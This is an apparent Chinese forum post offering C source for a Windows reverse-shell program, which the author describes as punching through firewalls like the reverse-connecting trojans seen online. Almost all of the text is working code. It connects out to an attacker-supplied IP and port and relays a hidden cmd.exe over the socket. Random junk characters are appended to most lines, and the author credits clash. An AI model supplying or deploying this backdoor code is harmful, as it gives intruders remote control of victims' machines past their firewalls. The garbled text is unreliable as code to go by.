Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 E^T/Qu  
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/* ============================== Su6ZO'[)  
Rebound port in Windows NT v #IC  
By wind,2006/7
ke'p8Gz  
===============================*/ 3zMmpeq  
#include Su-LZ'C\  
#include NS mo(c>5  
!\RR UH*  
#pragma comment(lib,"wsock32.lib") ^4c2}>f  
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void OutputShell(); >0T0K`o  
SOCKET sClient; }0}J  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; : :e=6i  
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void main(int argc,char **argv) !V7VM_}@Y  
{ ^7~=+0cF]  
WSADATA stWsaData; mJ !}!~:  
int nRet; A\.k['!  
SOCKADDR_IN stSaiClient,stSaiServer; <@(HQuL#  
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if(argc != 3) >")%4@  
{ C[_{ $j(J  
printf("Useage:\n\rRebound DestIP DestPort\n"); |#f P8OK  
return; Z:)\j.  
} X}h{xl
 
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WSAStartup(MAKEWORD(2,2),&stWsaData); DM~Q+C=Yr  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?)5}v4b  
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stSaiClient.sin_family = AF_INET; C  `k^So)  
stSaiClient.sin_port = htons(0); =+A8s$Pb  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); I^0bEwqZ~  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5-5qm[.;  
{ f+-w~cN  
printf("Bind Socket Failed!\n"); U_Emp[  
return; RR*z3i`PP  
} &.K=,+0_R/  
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stSaiServer.sin_family = AF_INET; 8!S="_  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n[AJ'A{  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -QI1>7sl  
{ 71w  
printf("Connect Error!"); @;JT }R H-  
return; .#lQZo6$\|  
} Zb<DgJ=3  
OutputShell(); b?h"a<7  
} X];a(7+2  
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void OutputShell() Z:u7`%  
{ ,hYUxh45  
char szBuff[1024]; +8mfq\Y1  
SECURITY_ATTRIBUTES stSecurityAttributes; gV$Lfkz  
OSVERSIONINFO stOsversionInfo; "a>%tsl$K
 
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .' 3;Z'%"g  
STARTUPINFO stStartupInfo; E.}T.
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char *szShell; 57%:0loW  
PROCESS_INFORMATION stProcessInformation; US@ak4Y6Z  
unsigned long lBytesRead; M)i2)]FS  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Vdh5s292h  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `+Wl fk;  
stSecurityAttributes.lpSecurityDescriptor = 0; eiJ $}\qJL  
stSecurityAttributes.bInheritHandle = TRUE; GyRU/0'BME  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);  G\ru%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +p>tO\mo  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); wRi!eN?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NIQNzq?a^  
stStartupInfo.wShowWindow = SW_HIDE; P)7SK&]r;=  
stStartupInfo.hStdInput = hReadPipe; gR?=z}`@p  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; k`'^e
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GetVersionEx(&stOsversionInfo); doW_vu  
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switch(stOsversionInfo.dwPlatformId) h/QZcA  
{ j1_CA5V
  
case 1: 6zaO$  
szShell = "command.com"; ~%bz2Pd%  
break; .?@$Rd2@W  
default: mC8c`#1T  
szShell = "cmd.exe"; 5)AMl)  
break; mXAX%M U  
} PI)lJ\  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 18zv]v %  
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send(sClient,szMsg,77,0); Cevl#c
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while(1) =j#uH`jgW  
{ d3St Z~&r!  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J)"2^?!&B  
if(lBytesRead) 4`7N}$j#,  
{ <V5(5gx  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4703\ HK  
send(sClient,szBuff,lBytesRead,0); P>9F(#u_(F  
} hV)D,oN3  
else Uz} #.  
{ AD_")_B|i  
lBytesRead=recv(sClient,szBuff,1024,0); O@ F0UM`!  
if(lBytesRead<=0) break; X6)-1.T&  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &'
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} h.l^f>,/  
} .hzzoLI2  
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return; yT.h[yv"w  
}